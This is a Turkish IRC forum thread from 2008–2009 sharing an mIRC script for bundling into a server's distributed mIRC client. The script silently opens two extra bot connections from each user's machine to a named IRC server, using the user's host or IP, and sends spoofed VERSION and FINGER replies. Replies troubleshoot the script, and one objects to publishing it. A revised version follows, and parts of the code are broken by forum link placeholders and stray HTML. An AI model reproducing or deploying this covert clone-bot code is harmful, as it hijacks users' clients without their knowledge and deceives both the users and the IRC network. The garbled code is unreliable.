IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   mIRC Scripting Hazır Kodlar (https://www.ircforumlari.net/mirc-scripting-hazir-kodlar/)
-   -   cycleye son mirc userin bot getirsin (https://www.ircforumlari.net/mirc-scripting-hazir-kodlar/125034-cycleye-son-mirc-userin-bot-getirsin.html)

Murebba 22 Temmuz 2008 17:47
cycleye son mirc userin bot getirsin
 
s.a arkadaslar sunucunuzda useriniz mi cycle weya raw botumu kullanıyorsunuz guzel bir kod ile bir mirc userin girsin yanında iki bot hediye : )

bot nick listesi [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] icindedir nick.txt yi mirc ana dizininde bot diye bir klasor acıp icine atarsın
birde kanalı ve adresi kendine gore ayarlarsın tabi : ) kolay gelsin


Kod:
on *:connect: {
  .timerbağlan 1 10 bağlan
  .timerbaglan 1 60 baglan
}
alias bağlan {  if !$sock(kbot) { sockopen kbot irc.deusohbet.com 6667 } }
on *:SOCKREAD:kbot: {  var %' | sockread %' | tokenize 32 %' | if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun {
    swrite kbot join #deusohbet
    .timerp 0 25  swrite kbot privmsg %knick selam
    if $1 == PING { swrite $sockname PONG $2  }
  }
  if :VERSION iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if $1 == PING {
    swrite $sockname PONG $2-
  }
}
on *:SOCKOPEN:kbot: {
  %knick = $read(bot/nick.txt)
  swrite $sockname NICK %knick
  swrite $sockname USER Deusohbet "" " $+ $iif($host,$host,$ip) $+ " : $+ [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
  swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
}
on *:SOCKREAD:1bot: {  var %' | sockread %' | tokenize 32 %'
  if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun {
    swrite kbot join #deusohbet
    .timerp 0 25  swrite 1bot privmsg %knick selam
  }
  if :VERSION iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if PING iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+  $ticks $+ $chr(1)
  }
}
on *:SOCKOPEN:1bot: {
  %knick2 = $read(bot\nick.txt)
  swrite $sockname NICK %knick2
  swrite $sockname USER Deusohbet "" " $+ $iif($host,$host,$ip) $+ " : $+ [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
  swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
}
alias swrite { if $sock($1).status == active { sockwrite -nt $1- } }
alias baglan {  if !$sock(1bot) { sockopen 1bot irc.deusohbet.com 6667 } }
on *:SOCKREAD:1bot: {  var %' | sockread %' | tokenize 32 %'
  if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun {
    swrite kbot join #deusohbet
    .timerp 0 25  swrite 1bot privmsg %knick selam
  }
  if :VERSION iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if PING iswm $4- {
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+  $ticks $+ $chr(1)
  }
}

Duffy`DuCk 12 Ağustos 2008 01:41
Cevap: cycleye son mirc userin bot getirsin : )
 
Burada bunun yayınlanması yanlış bişi, Zangi'ye zaman'ında ne kadar laf sölediniz script'den clone sokturuyor vs diye. (: Zangiye laf söleyenler $imdi yararlancak buradan.. (:

Radius 16 Ağustos 2008 20:58
Cevap: cycleye son mirc userin bot getirsin
 
calistiramadim bi :))

Vuslat_Is_for_You 16 Ağustos 2008 21:11
Cevap: cycleye son mirc userin bot getirsin
 
Alıntı:
Ufkum Nickli Üyeden Alıntı (Mesaj 527523)
calistiramadim bi :))

script.ini nin içine yazıcaksın biliyorsun dimi..

on *:SOCKOPEN:1bot: {
%knick2 = $read(bot\nick.txt)

burdaki dizinde klasör olarak bot\ gösterilmiş klasör istemessen ana dizine atıp burayı

on *:SOCKOPEN:1bot: {
%knick2 = $read(nick.txt)

vede bugun gibi yerleri düzeltmen yeterLi. ;oki

Locked 21 Ağustos 2008 03:19
Cevap: cycleye son mirc userin bot getirsin
 
hayir çalişmiyor !!

XPhytoN 27 Ağustos 2008 06:06
Cevap: cycleye son mirc userin bot getirsin
 
Paylaşma arzusu Duffy, doğru olmayan şeylerin yayınlandığı andan itibaren, forumdan silinmesi gerekir.

Fakat, clone kendi suncusuna, istediği kadar sokmakta sanırım hakkı var, bu arkadaşımız da, isteyenler, kendi sunucularına mIRC Download'larının ardından da mIRC'lerini kullananlardan 3 kişilik bir fayda sağlamak istemişler.

Çoooooooooooooooook, faydası oluyor ya bu gibi sistemlerin, o yuzden tutuluyor genelde .)

ccelik 12 Eylül 2008 01:25
Cevap: cycleye son mirc userin bot getirsin
 
merhabalar ben 1 tane sokmayı basardım ama bunu 2 yada fazlasını başaramadım nasıl yaparız ? :S

Murebba 14 Kasım 2008 16:38
Cevap: cycleye son mirc userin bot getirsin
 
bende 2 side calıstı kodu paylasan benim nick yolunu dogru secin yeterli

duzenlemeye de IrCbastarD yardım etmisti

Murebba 12 Ocak 2009 00:08
Cevap: cycleye son mirc userin bot getirsin
 
PHP- Kodu:
on *:connect: {
  .timerbağlan 1 10 bağlan
  .timerbaglan 1 60 baglan
}
alias bağlan {  if !$sock(kbot) { sockopen kbot irc.fulsohbet.net 6667 } }
on *:SOCKREAD:kbot: {  var %' | sockread %' | tokenize 32 %' | if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun { 
    swrite kbot join #chat
    .timerp 0 25  swrite kbot privmsg %knick selam
    if $1 == PING { swrite $sockname PONG $2  }
  }
  if :VERSION iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if $1 == PING { 
    swrite $sockname PONG $2-
  }
}
on *:SOCKOPEN:kbot: {
  %knick = $read(bot/nick.txt)
  swrite $sockname NICK %knick 
  swrite $sockname USER fulsohbet "" " $+ $iif($host,$host,$ip) $+ " : $+ 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
style="color: #007700">| sockread %' | tokenize 32 %' 
  if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun { 
    swrite kbot join #fulsohbet
    .timerp 0 25  swrite 1bot privmsg %knick selam
  }
  if :VERSION iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if PING iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+  $ticks $+ $chr(1)
  }
} 
on *:SOCKOPEN:1bot: {
  %knick2 = $read(bot\nick.txt)
  swrite $sockname NICK %knick2 
  swrite $sockname USER fulsohbet "" " $+ $iif($host,$host,$ip) $+ " : $+ 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
style="color: #007700">.fulsohbet.net
  swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
}
alias swrite { if $sock($1).status == active { sockwrite -nt $1- } }
alias baglan {  if !$sock(1bot) { sockopen 1bot irc.fulsohbet.net 6667 } }
on *:SOCKREAD:1bot: {  var %' | sockread %' | tokenize 32 %' 
  if $1 == PING { swrite $sockname PONG $2  }
  if $2 == JOIN && $remove($gettok($1,1,33),:) == %knick && $right($3,-1) == #Oyun { 
    swrite kbot join #fulsohbet
    .timerp 0 25  swrite 1bot privmsg %knick selam
  }
  if :VERSION iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ VERSION mIRC v6.17 Khaled Mardam-Bey $+ $chr(1)
  }
  if :FINGER iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+ FINGER Sevket Arslan $+ $chr(1)
  }
  if PING iswm $4- { 
    swrite $sockname NOTICE $gettok($gettok($1,1,33),1,58) : $+ $chr(1) $+  $ticks $+ $chr(1)
  }
} 
duzenleyip tekrar attım arkadaslar bu sorunsuz calısır

OkyAnuS 12 Ocak 2009 00:26
Cevap: cycleye son mirc userin bot getirsin
 
Güzel Bir Sisteme Benziyor:)


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 01:43.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2025 IRCForumlari.Net Sparhawk